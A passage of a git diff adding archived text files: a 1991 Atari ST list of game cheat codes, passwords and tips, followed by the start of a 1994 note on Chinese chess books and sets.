GAMRHQ, +14 IAMRHB, 15 RAMRHF, 16 MHMWHM, 17 AHMWHA, 18 HHMWHJ, 19 VHMWHV, 20 PHMWHP, +21 GHMWHG ,22 IHMWHI, 23 RHMWHR, 24 MVMWHM, 25 AVMWHN. + +New Zealand Story (Ocean): pause the game by pressing Undo, press M and you'll +hear a laser shot, type MOTHERFUCKENKIWIBASTARD and you'll hear a musical tone. +Resume the game. You now have infinite lives, and you can skip to the next +level by pressing Help. +Also, on the title screen, press Delete, then M, then Delete, then M , +then type FLUFFYKIWIS to get infinite lives. +If that doesn't work, press Delete and M only once. +If that still doesn't work, try adding a space after FLUFFYKIWIS. + +-*- Night Shift (Lucasfilm): enter your name has MPICKLE in the high score +table, and you can still go on to the next shift even if you don't finish +the previous one. Here are the level access codes: +(C is cherry, B is banana, L is lemon, P is pineapple, U is plum) +level 2 CBBL, 3 BCPU, 4 PLPP, 5 PPLC, 6 CUUP, 7 CPLB, 8 PBPC, 9 PLLC, 10 LBUU, +11 BPCU, 12 CUBU, 13 UCBP, 14 PCUB, 15 UUPP, 16 BBPB, 17 BUCU, 18 ULLU, +19 LPCU, 20 CPPC, 21 LCPP, 22 UCLB, 23 UCCL, 24 UPLL, 25 BPPL, 26 UCCB, +27 BCLB, 28 UBBP, 29 CUCP, 30 CCBU. + +Ninja Mission (Mastertronic): While playing, on entering a room, push the +joystick in the direction of the enemy and hold the fire button. This will +freeze them, making them a lot easier to beat up. + +-*- (X) Ninja Spirit (Activision): press F9, press Caps Lock, then hold down +Control and Shift. The game will restart, you will be invincible, and the +collision detection will be switched off. + +The Ninja Warriors (Virgin Games): hold down Alt and type in the following: +Weird modes: +CASABLANCA ©makes everything black and white +GENESIS OF THE DALEKS puts the screen in inverse video (chromatic mode) +THE TERMINATOR ©makes the Ninja's body parts explode when you die +SKIPPY ©makes the enemies bounce +A SMALLSTEP FOR MAN ©Moon gravity mode +EAT TO THE BEAT ©pressing Q toggles slow motion on and off +Useful modes: +SNOW WHITE ©dwarf ninjas +CHEDDAS ©infinite credits +OPEN THE POD BAY DOORS, HAL ©infinite stars +MAY THE FORCE BE WITH YOU ©infinite energy +WARP FACTOR ONE, MR SULU +©warp levels + +-*- Onslaught (Hewson): on the map screen, press F9 and F10 simultaneously. +You can now edit the land. Move the cursor around the map and alter it with +the function keys. + +Operation Thunderbolt (Ocean): instead of typing your name, enter WIGAN +NINJA. Restart the game and play it. Press F7 to skip a level, but remember: +you must rescue at least 1 hostage from both of the enemy bases to finish +the game sucessfully! +Also, entering SPECCY MODE on the high-score list brings on twice the amount +of enemies. +Meanwhile, entering EDOM TAEHC (CHEAT MODE backwards) gives you infinite +lives, but not infinite health, so you can still die. +And, pressing the following sequence of keys gives you the laser sight in +1 player mode: F8 F7 F6 F5 F4 F3 F8 F1 F1 F1. +In 2 player mode, F2 replaces the F1s... + +Outrun (U.S. Gold/Sega): While playing, type STARION ,then press the +following keys: +B - Bogus extended play ©S - Advances you to a stage +D - Save screen picture ©T - Extra 10 seconds +Q - Programmers information ©X - Exits the game + +P-47 (Firebird): enter ZEBEDEE on the high-score list. Start a game, press +F2 to get a refill of lives, and F1 to skip to the next level. + +Pacland (Grandslam): while loading, type AVALON. The screen will freak out. +This is normal. You now have infinite lives! +Also, during round two, push the third cactus you come to, and you will be +invincible for that round only. On round one, push the third fire hydrant, +and the baby ghosts won't be able to harm you. In the forest, push the first +log you find, and it will release balloons (worth extra points!). On level +three, push the first log and it will warp you through the level! + +-*- Peter Beardsley's Soccer (Grandslam): when you get the ball, run with it +while continually pressing the fire button and no one can take it from you. + +Platoon (Data East/Ocean): while on the title screen, type HAMBURGER-HILL. +Pressing F1 through F3 advances you through the jungle, F4 takes you straight +to the village. F5 activates a shield, F6 turns it off. +Warning: do not enter a trap door with the shield on! The game will crash. + +Populous (Electronic Arts): here's a bunch of access codes: +2 JOSAMAR, 3 TIMUSLUG, 6 SWAVER, 9 BURWILCON, 10 MORINGHILL, 12 BILCEMET, +14 WEAUHIPHAM, 17 IMMUSILL, 20 SHADTED, 22 BINOZOND, 23 SADWILLOW, +32 SHIDIEHOLE, 33 HURTLOPLAS, 36 JOSTME, 38 SWAINGPAL, 43 NIMOUTJOB, +44 BILADOR, 46 WEAVINPERT, 50 HOBOZJOB, 54 BINMEOUT, 58 VERYELIN, +60 HAMINMAR, 64 SHIOZER, 65 HURTIKEING, 72 EOAELING, 75 NIMLOPILL, +84 SHADKOPEND, 88 LOWINLOW, 91 MINOXEND, 94 SUZOGOBOY, 99 TIMQAZAL, +103 KILLSODPAL, 108 BILOGOJOB, 113 IMMQAZT, 117 CORSODDON, 120 LOWEAT, +126 SUZKOPLUG, 130 JOSASING, 134 SWAEAHILL, 135 KILLDIEMET, 140 RINGINGTORY, +141 BILKOPILL, 150 BINQUEME, 154 VERYWILICK, 166 SWADEBOY, 172 BILASPIL, +178 HOBQUET, 185 QAZCET, 191 DOUDIELUG, 198 SWAILUG, 201 NIMAORD, 208 BADPEED, +216 LOWOUTOLD, 214 BINMPEND, 219 MININICK, 222 SUZPEME, 227 TIMMEHOLE, +234 MORLOPPERT, 243 BUGHIPT, 251 MINEABAR, 258 JOSQAZMET, 264 EOAOXHILL, +270 WEAVDIILL, 278 BINOXTORY, 282 HAMDIICK, 284 VERYUOND, 290 JOSSODOR, +295 KILLQUEPIL, 302 WEAUCEPIL, 307 BUGEAOUT, 312 LOWDIDON, 317 FUTASER, +322 JOSHIEHILL, 329 BUFIHILL, 335 ALPUSILL, 339 BUGDEHAM, 345 QAZASME, +351 DOUQUELAS, 356 CALINGPAL, 361 BUROUTJOB, 366 WEAVTAL, 368 BADOZJOB, +372 SHADMEOUT, 377 QAZUSDON, 383 DOUWILING, 384 SHIINGORD, 387 TIMMPHILL, +392 EOAINCON, 399 ALPOCON, 402 HOBHIPEND, 409 QAZPEEND, 414 SUZMEICK, +423 KILLOXLAS, 430 WEAVKOPOUT, 436 SHADYPERT, 437 COROXOUT... +When you bring up the options screen in a Conquest game, you can enter a +number from 0 to 32768; the program will generate a world associated with +whatever number you type in. This gives you 128,000 worlds to choose from!!! + +Power Drift (Activision): select any course, except "D", and win all the +races (in other words: finish first!!). Collect all the gold medals and you +enter a bonus round on a secret track with the Afterburner F-14 at your +controls!! Even better, the collision detection is turned off!!! +If you do the same thing (finish first) on the "D" course, you enter another +secret racetrack, but with the Super Hang-on bike at your command this time. +No collision detection either... + +-*- Predator (Activision): keep on hitting F10 to get extra energy. + +-*- Predator II (Imageworks): press P to pause and type YOU'RE ONE UGLY MUTHA. +You now have infinite bullets and you can press F6 to choose any weapon, and +F8 to warp to the next level. + +Prophecy I: The Viking Child (Wired): here's some access codes: +DENIS to go to the forest, THE BLIZ the bridge, SHARKMAN the labyrinth, +NYMHARSW the desert. + +Puffy's Saga (UBI Soft): pause the game when your health nears zero, then run +your fingers along F1 thru F7. You'll get 2000 healths, 4 keys, 4 Goms, and +you'll be transported to the next level. + +Quadralien (Logotron/Spinnaker): access codes: level 2 170961, level 3 +010655, the Core 610169. And now, some tips: once in the core, you can't quit. +So choose droids with good lasers, Jack and Spud for example. The Quadralien +mother is made up of 4 separate pieces grouped together and surrounded by +Earthling boxes. The mother can only be destroyed by blowing up each box from +a different direction. From the starting point there are three exit: north, +east, and west. Go east and destroy the first box, return to the starting +point, and go north to destroy the second box. You will now have both droids +to blow the remaining boxes. Go west through the one-way force field, and get +the other. Don't forget to keep recharging. + +Rainbow Islands (Ocean): here's a bunch of codes you can enter at the +beginning of the game: +BLRBJSBJ for fast feet, RJSBJSBR double rainbows, SSSLLRRS fast rainbows, +BJBJBJRS first hint, LJLSLBLS second hint, and LBSJRLJL continues on all +rounds. (LBSJRWL was a misprint, sorry...) +Here are 3 more codes: +RRLLBBJS makes all hidden food into money bags, R©SBSJ does the previous and +also lets you continue on all rounds, and SRBJSLSB gives you 100 million +points. +These codes will work on the original coin-op. S is the start button, L is +joystick left, R is right, J is jump, and B is make rainbows... +I've never seen the coin-op anywhere!! + +Rambo III (Taito/Ocean): get on the high-score list and type RENEGADE. Pressing +1 ,2 and 3 will drop you on the level of your choice. +And now for some tips: +1) When inside the 2nd building, wear your IR goggles. +2) Don't walk in front of soldiers, since it will trigger an alarm and about +8 soldiers will jump you! +3) If you enter a dark room, use the glow tube. +4) Never use a gun without a silencer. +5) Turn off the electric door with the switch located several rooms away. +6) The mine detector won't work without the generator. +7) The IR goggles won't work without a battery. +8) Watch out for IR beams, since they also trigger alarms. +Here's a list of items you can find: arrows, silencer, first aid kit, IR +goggles, glow tube, battery, key, mine, detector (in 2 pieces), pistol, ammo, +rubber gloves (you never know when you can be expected to perform major +surgery!!!) + +-*- Resolution 101 (Millenium): save up $6,500, then buy a light cannon +(class 1). You can now hit targets high in the air, and inflict more damage on +ground-based targets, 'cause you got a heavy machine gun installed free! + +Return Of The Jedi (Domark): enter Darth Vader on the high score list instead +of your name. Pressing F2 will complete a stage and send you to the next one. + +-*- Return To Genesis (Firebird): when on the title screen, type WASP.ASM to +activate ye olde cheat mode, then press F5 for invincibility, F4 to toggle +between 50 and 60Hz, and Control to display program version messages. + +Rick Dangerous (Firebird): get a high score and type in POOKY. You'll be able +to restart where you last died. + +Rings Of Medusa (Starbyte): after loading the game and typing in your name, +enter DESOXYRIBONUKLEINSAEURE, then press Help. This will bring up a cheat +menu full of sneaky options. + +Roadblasters (U.S. Gold): when the car is on the starting line, type +LAVILLASTRANGIATO. Now you can hit the following keys: +X - spins the car, S - goes to the next level, F - refuels the car, G - end +game, 1 - add UZ cannon, 2 - add cruise missiles, 3 - add electro-shields, +4 - fit nitro injectors, 0 - remove special weapons. + +Robocop (Ocean/Data East): press Return to pause the game, hold down Shift +and type in ALEX MURPHY. Now, by left-clicking the mouse, you can replenish +any lost energy. +Or, pause the game and type BEST-KEPT-SECRET to get infinite energy. + +Robocop II (Ocean): when the title pic pops up, enter BAMBOOZALEM +(or BAMBOOZULEM). You now have infinite energy! However, everything that used +to kill you instantly still can! +Or, enter SERIAL INTERFACE on the title pic. Press F9 to replenish energy, and +F10 to skip a level (this might only work on the Amiga...). + +-*- Rock'N'Roll (Rainbow Arts): instead of entering your name, type in +RAINBOW ARTS followed by the level you want to start on, followed by XX, followe +d by 4 numbers that add up to the level number, followed by XX, +followed by the level you want to start on backwards (got that?). +For example: to get to level 9, enter 09XX2223XX90. +Also, entering COUNTRY on the high-score list lets you access a jukebox menu +for the in-game tunes. + +Rolling Thunder (U.S. Gold): On the title screen, type JIMBBBY and Return to +get infinite energy. Press I to go to the next level. + +-*- Rotor (Arcana): to get all the different missions, type GAG, SLY, and AWE. + +(X) R*Type (Mediagenic): load the game; when you get the "insert disk 2 and +press space" prompt, press HELP and type ME, then press the up arrow (between +INSERT and CLR HOME). Now insert disk 2 and press space. While playing the +game, you can become impervious to collisions (F5), impervious to enemy fire +(F6), get infinite credits (F7), and put the orb in the control of a second +player with a stick plugged in the mouse port (F8). Neat! + +-*- Saint Dragon (Storm): to get infinite lives, hold down the mouse button +and the fire button until the game has loaded. +Or, press Caps Lock during play, type DECAFFEINATED, then Return. + +-*- Savage (Firebird): level 2 password is SABATTA, level 3 is Porsche. + +Seven Gates Of Jambala (Thalion): on the title screen, type YICKE +YACKE HCHNERKACKE. Hold down the left Shift key, then press 1. Let go of 1, +then let go of Shift. The "Press space to start" line should turn blue. +Press F1 through F5 for weapons, 1 through 7 for levels, G for gold, and F10 +to toggle the power jump on and off. + +-*- Shadow Dancer (US Gold): pause the game and type in GIVE ME INFINITY +(or GIVE ME INFINITES) for infinite lives. + +Shadow Of The Beast (Psygnosis): here's a quick and easy way to replenish +your energy level: hold down Left Shift, Enter and 0 (both on the keypad). +Release Enter and 0, then press F5. +Or, you can press the Enter key 5 times, then press F5 a couple of times. +You can do this several times throughout the game... + +Shadow Warriors (Ocean): start a 2 player game by pressing 1 and 2 +together. During the game, pressing 1 or 2 will give an extra life to Player 1 +or Player 2 respectively. + +Shinobi (Virgin Games): pause the game and type LARSXViii (or LARSXVIII) +to get infinite credits. + +(X) Sidewinder (Mastertronic), part of the Awesome Arcade Action Pak (Arcadia): +if you look on disk 2, you will see a screen editor program. You can access a +specific level by pressing the appropriate function key. You can save the +changes by holding down both mouse buttons. You should back up disk 2 first, +since the changes are permanent. + +(X) Silkworm (Virgin/Sales Curve): when the high-score screen pops up, press C. +A new screen appears, called "Fat Mouse's Cheese Menu", which lists lots of +different cheeses, except gorgonzola. Start playing a game, and enter +GORGONZOLA. You are now in Cheese Mode!!! +All bouncing bombs are turned into wheels of Edam, and the word "edam" pops +up here and there. If you press C, you get extra credits... + +Skidz (Gremlin): play the game, press the fire button, hold down Alternate +and C to activate the cheat mode. Time and energy will no longer be a problem. +Or hit Alternate and M while pressing the fire button to skip levels. + +Sly Spy Secret Agent (Ocean): enter 007 as the code and type SHAKEN NOT +STIRRED during the game. + +Solomon's Key: when the "press any key to load" prompt appears, hit Help. + +Sonic Boom (Activision): play the game, get a high score (good luck!), and +type DOUGAL. Start another game. Hitting F1 will top-up your energy, F2 will +give you a full set of droid planes, and F3 will complete the level. + +Sorcery + (Virgin): type GAS MASK WHEELER WANTS CHEAT and you're now +invincible, all doors are open, the timer is stopped, and you have access +to the "plus" part of the game. + +Space Ace (Readysoft): play the game and pause it. Type GODEMODEXTER, then +press the fire button, then hit Enter. Unpause the game and continue playing +it. When you're down to your last life, the computer takes over for you and +completes the game!!! So, now you can invite your friends and show 'em how good +you suddenly became at Space Ace!!! + +Space Harrier and Space Harrier II (Elite): if you look at disk two, you'll +see some files called LEVEL2.DAT (for example). If you rename THEEND.DAT +(or whatever it's called) to LEVEL1.DAT, you will see the end sequence without +playing the game! + +Spherical (Rainbow Arts): single player's access codes: +RADAGAST for level 9, YARMAK 19, ORCSLAYER 39, SKYFIRE 59, and MIRGAL 75. +Two players' access codes: +GHANIMA for level 9, GLIEP 19, MOURNBLADE 39, and JADWIN 59. + +Spidertronic (Infogrames): get a high score and enter CHEAT on the screen, +press Return and, then, the fire button; the screen will go black; a prompt +will appear: +Last game level: GAME.LS0 +New game level: +Type GAME.LS and the number of the level you wanna play. Press Return and, +then, the fire button, and you start playing on the desired level. + +The Spy Who Loved Me (Domark): type MISS MONEYPENNY for infinite lives and +infinite Q points. + +(X) Starglider (Rainbird): this one is complex, so pay attention!! +Start the game, slow down completely, press F, and press Backspace. Now, +type in the following twice: JS(Space)ARG(Backspace)S(Backspace)(Return). +Pressing N gives you 5000 points, E reboots the disk, M stops all enemy aircraft +, P adds an extra missile. + +(X) Starglider II (Rainbird): slow down completely (in other words: STOP!), +press F5, then Delete. Type WERE ON A MISSION FROM GOD1. Now, press K whenever +you run out of weapons and you also get infinite energy. +Where to get what and how: +Bouncing bombs - Castron depot, use on Projector bases only. +Missiles - Millway depots, use on Walkers, Stompers, etc... +Cuboids - use a lot of energy, given to you by prof Taymar. +Neutron bomb - use on space station only. +Cask Of Vistan Vine - get from pirates, or trade a boink at the Castron depot. +Clutter Of Noodles ...huh, Cluster of Nodules - on beautiful downtown Dante. +Egron Mini-Rocket - surface of Aldos or Q-Beta. +Case Of Nuke Fuel - Aldos surface. +Asteroid - between Apogee and Millway, in the Asteroid Belt. +Flat Diamond - capture a Mech Whale, take it to the Questa depot, and trade +it in for a flat diamond. +Lump Of Mineral Rock - Q-Beta surface. +Crate Of Castrobars - go to Enos and grab a tree, trade it in at the Castron +depot ("Look everybody! Toothpicks!!!"). +Professor Taymar - After getting all of the above ingredients, go to Broadway. +Make sure you have a crate of Castrobars in the hold. Cruise the surface and +tractor-beam the first Emma 2 you see. Bring it aboard. Taymar is inside. He +will install the Cuboid launcher and agree to go to Apogee. Take him to the +Apogee depot. When the neutron bomb is built, take it to Q-Beta's false moon. +If all 6 Projector Bases have been rebuilt, drop by one and blow it up. You +will see the space station, surrounded by Mini-sentinels. Take a couple out +with missiles. Move toward the station, and when you're directly over it, +drop the bomb. A massive explosion follows, and you win the game!!! + +(X) Stargoose (Logotron/Spinaker): run your fingers on the functions keys back +and forth several times, and you should now have infinite shields! + +(X) Starquake (Mandarin/Terrific): here's a list of all the teleport codes: +FLIED, CHING, DAVRO, SOLUN, TABET, LUANG, TSOIN, KALED, ROKEA, HINDI, SOCHI, +NICHA, BORNO, CWORE, KWANG, ADKEA. + +(X) Starray (Logotron/Spinnaker): here are a few playing tips: +Concentrate on the landers. When you shoot 'em, some release bonus capsules, +so spraying everything in sight isn't good policy. If the lander releases +a capsule with an X on it, don't pick it up; these capsules drain part of your +shield energy. The capsule marked P gives you penetrating lasers; these aren't +so hot either, since they go right through everything and wipe out bases and +bonus capsules. When shooting rectangular ships (airbuses), approach them from +the right side since the bonus capsules always eject on the right. +Also, turning off the sound should speed up the game, supposedly... + +Stormtrooper (Creation): play the game and get a high-score. Enter +JAMES CAMERON in the high-score list. Next you play, you will notice +a funny looking yellow squiggle. This means you have several dozen extra +lives. Should the squiggle disappear, press F9 to reload on lives. +Press F10 to remove any barriers. + +Street Fighter (Capcom/Go!): type STREET CHEAT on the title screen and press +Help. You get dropped on the next level. + +Strider (U.S. Gold): press F9 to pause the game. Hold down Help, the left +shift button, and the 1 key on the keyboard. Release all 3 keys and press +F10 to restart the game. Now, you can use 1 thru 5 to skip to the +corresponding level, and F1 thru F4 to skip to the different stages within +the level itself... + +-*- Strider II (US Gold): type SWIFT during the game and a small box will +appear in the top left-hand corner of the screen with the word "cheat" and +a smiling face in it. Pressing the Spacebar turns you into the 'bot any time +you want, and pressing the cursor keys will give you super speed. + +Stryx (Psygnosis): begin a game and hold down Help, M and D simultaneously +to replenish your energy. Press Help and P to get the door passes... +Or, press Help and M and E to replenish your energy. + +Sundog (FTL/Mirrorsoft): You can get shields for 350 Cr to 400 Cr, depending +where you are. To get them, go to the weapon store and click on the rapid heal, +and then click on YES, then instead of clicking on the rapid heal, go right of +it, so you are on a blank space. Click now and you will have found a shield +which you didn't have before in one of your carrying squares. +Though it says 'Shield', after one hit, it will say Shield (7). + +(X) Super Cars (Gremlin): to start racing in 2nd division, enter ODIE instead +of your initials. To start racing in 1st division, enter BIGC. +To get lotsa money, enter POOR. + +-*- (X) Super Cars II (Gremlin): to win every race, enter player 1's name as +I WALK THE HILL for player 1, and INWARDS for player 2. +You get 99 of each weapon, grade 3 armor, engine, and a battering ram. + +Supremacy (Virgin) or Overlord (Virgin): here's a weirdo tip for getting +extra fuel. Get rid of your fuel by buying 2 cargo cruisers, filling them up, +and parking them in orbit. Next, buy a Solar Sat, put it in orbit, then take +it back down. Go to the cargo control screen and click on the scrap icon. +Your fuel level should have risen to the top of the screen. +You can do this on every planet against every opponent! + +Switchblade (Gremlin): get a high score and enter POOKY in the high score +table. Pressing keys 1 through 5 give access to the respective levels. + +-*- SWIV (Storm): pause the game. Type NCC-1701 and press Return. +The border should flash to indicate that the cheat mode is on. Unpause the +game and you got yourself infinite lives! + +Teenage Mutant Hero (sheesh!) Turtles (Imageworks): here's how you get +infinite energy. Load the game and when it asks for the correct code, enter +8859. Then enter 1506. Now enter the correct code. While playing, press HELP +to get infinite energy. + +Thrust (Firebird): from the desktop, insert the game disk. Look for the +CHEAT.PRG icon and double-click on it. You can survive collisions by typing +CHEAT during the game. + +Thunderblade (US Gold): when the grey digitized picture appears on the +screen, type CRASH. Now, when you play a game, you can press UNDO to skip +to the next level. You DON'T get infinite lives!! + +Time Machine (Activision): get a hig score and enter DIZZY. Now, you will +have 9 lives and the ability to access all time zones. Use A and S to select +screens in each zone. + +Times Of Lore (Origin): brown scroll kills all monsters on the screen, white +scroll freezes them for a limited time (act now!), green scroll teleports (use +only twice), white potion random energy refuel, green potion complete refuel. +Boots of speed are in Treela, magic axe is in Lankwell. +Save your game often! When playing at night, turn up the contrast and +brightness settings (it won't make the game any smarter, though!). + +Titan (Titus): a few access codes: +Level 10 H67JR1, 20 1R7DCG, 30 BG6W61, 40 294JBH, 50 D80N6D, and 60 9LQHVU. + +-*- Toki (Ocean): press Esc on the intro sequence before the dude gets +"chimped", type POORTOKI then press F1 through F6 for the level you want. +On level one, type in KILLER for infinite credits and the ability to pick +levels with the function keys. + +Total Eclipse (Microstatus/Spotlight): general hints: +1) examine the plane closely. +2) To move really fast, move the joystick forward and press the forward key +at the same time. +3) When each treasure is picked up, your heart rate goes back to normal. +4) Always use the F key to look forward when you get disoriented. +5) Use the Ankhs only as a last resort, since they're more useful later on. +6) In Illusion, use the sector names to map it out. + +Total Recall (Ocean): type LISTEN TO THE WHALES when the title pic appears. +You can now absorb enemy blows without harm, but don't worry if the energy bar +still shrinks. When you get to the taxi driving section, type JIMMY HENDRIX. +Your JohnnyCab is now indestructible! +If you're the type who has time to kill (haha!), leave the game on pause for +one whole hour. When you come back to check up on your computer, the words +"Cheat mode active" should appear on the screen. Start playing again and +discover that you now have infinite ammo! + +Tower Toppler (Epyx): see Nebulus (Hewson)... + +Toyota Celica GT Rally (Gremlin): simply press C to finish the stage and +go on to the next one. When you press C, your name will be put on the +scoreboard at whichever time you pressed C: if you hit it at 1:51, the +scoreboard will indicate that your finishing time was 1:51. + +Trailblazer (Mindscape/Hewson): hold down Help, I, 1 and 2, then type +CHEAT. Now, F3 will remove gravity, F5 will change ball shape, F6 will change +the other player's ball, and Help will produce a laugh. + +-*- Treasure Island Dizzy (Codemasters): when the game starts, type ICANFLY. +And now you can! Or type EGGSONLEGS to become invincible! + +Turbo Outrun (US Gold): type WEARAPEEPEL while the countdown is running, +and you get some nifty options: +pressing T will give you extra time, B will restart the stage, N will send +you to the next level, G uses up a credit (huh?), and D will give a new set +of turbo boosters. +Also, pressing 1 thru 9 will send you to the appropriate level. +And finally, pressing F will complete the entire game!!! + +(X) Turrican (Innerprise/Rainbow Arts): get a high score and enter ANTIDOTE. +This gives you infinite lives, and as the saying goes, "You'll need 'em!". + +-*- Turrican II (Rainbow Arts): when you get to the end of level 3 and +confront the guardian, turn into a gyroscope and stay on the guardian's +head. Nothing will seem to happen, except that your life counter will start +to increase but one unit at a time. You can do this until you get 99 lives! + +The Untouchables (Ocean): on level 1, pause the game and type BRIDGE ROLLS. +This will send you to level 2. To get to level 3, pause and type MAC NALLEY. +To get to level 4, pause and type KID ZAPPING. To get to level 5, pause and +type A NIT IN TIME. + +(X) Venus: The Flytrap (Gremlin): level access codes in ascending order: +MANTIDS, CICADAS, PSYLLIDS, PIERIDS, SATYRID, LYCAENID, PYRALID, and NOCTUID. +Cheat codes: +JUPITER stops time, and PLUTO gives you unlimited ammo for any extra weapon +you pick up. +SUN, FREEPLAY, AJAR and LISTEN all do something, but I don't know what... + +-*- Verminator (Rainbird): go to the shop and buy a hammer. Then sell it for +50 credits. Go up to the till (what's a till?) and you'll have bought the +falcons for 50 credits. Sell these to make some serious dough. + +Veteran (Software Horizons): press Help to go to the next level! + +Vigilante (US Gold): get a high score and enter POOKY IS MY PAL. +While playing, F1 increases your lives, F8 takes you to the next level. +Or type GREEN CRYSTAL in the high-score list. + +(X) Virus (Firebird): hold down Enter on the keypad, and press P to pause. +Continue holding Enter down and press O to unpause. Everything will look +normal except for an extra bar below the altitude gauge. Pressing the +following keys as the described effects: +C - special F/Xs on/off, +D - demo on/off, +F - refuels you completely, +L - adds one missile every time it's pressed, +N - turns cheat off. + +Viz (Virgin Games): Anyway, type WHAT A LARGE SET OF BOLLOCKS on the character +selection screen (or WITH A LARGE SET OF BOLLOCKS). You should hear a weird +noise, and pressing 1 through 5 on the keyboard will send you to the appropriate + level. + +(X) Voyager (Ocean): in the options screen, type in WHEN THE SWEET SHOWERS OF +APRIL FALL. You will be dumped in an editor screen where you can choose +from a number of cheat options. Press Delete during play to reduce the number +of enemies to destroy by ten. + +(X) Warhead (Activision/MPH): as a veteran FOE-57 pilot, let me pass on a few +useful hints and tips for successfully completing the missions. +1) Docking: +Define one of the navig markers as a target, then get as close to it as you +can, using autopilot mode 4. Rotate until you're facing Solbase. Switch to +tactical display mode 1 and center Solbase in the crosshairs. If the center +of Solbase is completely white (and I mean completely!!), you are correctly +aligned. If you are too far to see, use the zoom feature. Fly toward Solbase, +making sure the center stays white, and you'll dock perfectly every time! +2) Your weapons and how to use them effectively: +Data-gathering missiles: not a weapon. Use those to get info on any "unknown" +you come across, including enemy missiles. +Mass-driver cannon: use to destroy incoming missiles, especially those big +blue and white ones the Berzerker fires!! They're Pseudo-Stellar missiles, +and they'll kill you on contact, guaranteed or your money back!!! +Stinger missiles: they only have an effective range of about 2,500 meters. +Mines: not terribly useful. Try to lob them in the path of incoming ships. +X-ray Laser mines: wowee!! These are neato!! If you have 3 or more ships +pestering you, launch a mine at them. Usually the mine will take out all three. +Pseudo-Stellar missiles: you only get these toward the end of the game. They +are nasty and you should be at least 4,000 meters away from your target when +they go off! +3) Enemy ships and the best way to destroy them: +Drone: a single round from your MD cannon will pulverize this joker! +Drone Squadron: a couple of Stingers will do it. +A-Wing: Stingers, a couple. +C-Wing: Stingers, at least 3. +H-wing: X-ray Laser mines, or lots of Stingers. +Berzerker: don't even think of destroying this guy! Just blow up his Pseudo- +Stellar missiles with your MDC, that will annoy him for sure... +3) general stuff: +Follow orders at all time. When Quad-jumping, always go straight to wherever +you're supposed to go. Don't waste time. I got screwed up a couple of times +when I came back to Solbase because I jumped to Solar orbit, then jumped to +Solbase. I was coming back from another star system. You should select SOL G2V +first then select Solbase (on the in-system map), then jump! +Have fun out there! + +Warhawk (Firebird): after loading, press F3. When you start the game, a blue +blob appears on the screen. Pick it up and you get infinite power. + +Weird Dreams (Rainbird): start a game, walk into the right-hand mirror, +go as far as you can before finally disappearing and use the Help key to enter +the equivalent of SOS in morse code (3 quick taps, 3 long taps, then 3 quick +taps). You get infinite lives. + +-*- (X) Wings Of Death (Thalion): enter ST FOREVER on the menu screen and the +screen should flicker red a few times. Pressing the following keys: +F1 changes to insect, F2 changes to bat, F3 changes to eagle, F4 changes to +dragon, F5 changes to griffin, F6 calls up a hunter, F7 calls up a destroyer, +F8 truns on the shield, F9 turns on autofire, F10 restores energy. +Keys 1 through 5 on the main keyboard adjust weapon strength. + +X-Out (Rainbow Arts): to get lotsa cash, select the smallest ship (the +one at the top). Then, select the weakest laser (orange with single beam) +and place it over the shopkeeper's nose (so to speak). Hit the fire button, +and watch your bank balance grow... +If that don't work, try this: +buy the biggest ship, then pick up a stationary satellite and click it on +your money total (score). Give it to Moleb, and your money total will rise +to 500,000. +Also, you can buy the shield then throw it away. You get 500 credits for that. +Repeat as needed, or until you get bored. + +Xybots (Tengen): get a high score and enter ALF. You get infinite lives. + +(X) Zany Golf (Electronic Arts): there is a hidden course on level 9 (Energy). +To the left of the screen, you will see a mouse hole with two glowing eyes. +When the eyes glow red, putt the ball in the hole. A new level will load. +It's called Mystery... + +Zombie (UBI Soft): if you have seen Dawn Of The Dead, you already have a good +idea on how to solve most of the puzzles. But here's some extra tips anyway: +1) To lock up the mall to keep zombies from getting in, you need to park the +trucks over the entrances. Get the key from the office on the 2nd floor and +go to the 4th floor where the keys to the trucks are kept. +2) To keep the dead zombies from coming back to un-life, lock them up in the +freezer in the basement. +3) before you can go play in the basement, you need a source of light. Get +the fuses and gloves from the 3rd floor and go to it!! + +-*- Z-Out (Rainbow Arts): during play, hold down J and press 1 through 6 to +skip levels, and 1 through 3 on the keypad to go to different stages. + + -N© + This file is public domain, and is updated every 3 or 4 month. + If you know of any special access codes, secret passwords, or other hints + that you didn't see listed here, tell me about them! + If you own some of the games I wasn't able to test, and the cheat codes work, + I also want to know about it!! + I can be reached at the O'Mayer V BBS (213-732-0229), the Jungle BBS + (213-254-9534), and on GEnie (ABITTON1) in the Atari ST Roundtable, + Category 9 (games), Topic 22 (Zen-ST). + Copyright 1991 CyberSysTek ©"Woof!" + -N© +©"— diff --git a/textfiles.com/games/chichess.src b/textfiles.com/games/chichess.src new file mode 100644 index 00000000..06b74a32 --- /dev/null +++ b/textfiles.com/games/chichess.src @@ -0,0 +1,65 @@ + CHINESE CHESS RESOURCES + Documentation by Roleigh Martin + 1-9-94 + +The following are two currently-in-print and good books on Chinese Chess. +You can also order an actual board game of Chinese Chess from Ishi Press +International (76 Bonaventura Drive, San Jose CA 95134, 408-944-9900 (in +England: 20 Bruges Place, Baynes Street, London NW1 OTE, (0)71-284-4898. +Ishi Press accepts phone orders with credit cards. The book on Chinese +Chess by C. E. Tuttle of Rutland, Vermont, was bought at a book store. + +You can also buy a Chinese Chess set from some (only a minority I've found) +of Chinese and/or Vietnamese-Chinese grocery stores. Call around (use the +yellow pages). I found a place that sold the sets for $4.50 but the board +was a paper board (but you could wall-paper glue and shellac it onto a +piece of fiber-board to make a nice solid game board). The Ishi Press +Chinese Chess set costs about $30-some dollars. + +By the way, Ishi Press International has a book (Shogi for Beginners), a +IBM PC software program (Shogi Master) that runs great on a HP 100 and +MCGA, CGA, EGA, and VGA PC's, and an actual board game (wooden and magnetic) +of Shogi -- which is Japanese Chess -- but that is a whole different story +and this ZIP file is focused on Chinese Chess. But for chess lovers, I'd +thought I'd throw this in. Oh yes, C. E. Tuttle has a book on Shogi too, +called Shogi: Japan's Game of Strategy by Trevor Leggett which includes a +fully functional Shogi Chess game (heavy cardboard pieces, paper board). +(For those who have a HP 100 and end up getting Shogi, it can't run under +the HP 100 System Manager -- you must terminate from that program to run +Shogi -- also, the EGA*.* and VGA*.* files aren't needed to run Shogi on +the HP 100.) + +P.S. The Chinese Chess set by Ishi Press includes rules on Korean Chess, +but their rules are incomplete -- see the accompanying file, KOREAN.SRC, +for getting the full set of rules on Korean Chess. + + TITLE: Chinese Chess for Beginners + AUTHOR: Sloan, Sam + PUBLISHER: Ishi Pr Intl PUBLICATION DATE: 07/1989 (890701) + EDITION: Orig. Ed. NO. OF PAGES: 200p. + LCCN: 89-084155 + 